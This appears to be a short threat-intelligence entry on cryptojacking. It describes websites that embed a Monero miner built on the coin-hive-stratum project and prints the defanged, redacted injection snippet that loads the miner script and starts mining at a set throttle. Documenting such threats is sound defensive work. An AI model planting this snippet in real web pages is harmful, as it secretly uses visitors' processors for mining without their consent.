Description:
Website contains an Monero cryptocurrency miner based on the coin-hive-stratum repository that allowed anyone launch their own Monero mining scripts and proxies using GitHub Pages and easy to deploy Node.js server applications.
<script src="hxxps://<redacted>.github.io/chs/m.js?proxy=wss://coin-hive-stratum-<redacted>.now.sh?pool=<redacted>:3333"></script> <script> var miner = CH.Anonymous('<Monero address>',{throttle: 0.4}); miner.start(); </script>
GitHub disabled the coin-hive-stratum repository and hudreds of its forks on January 10th, 2018.
Affecting: Any website.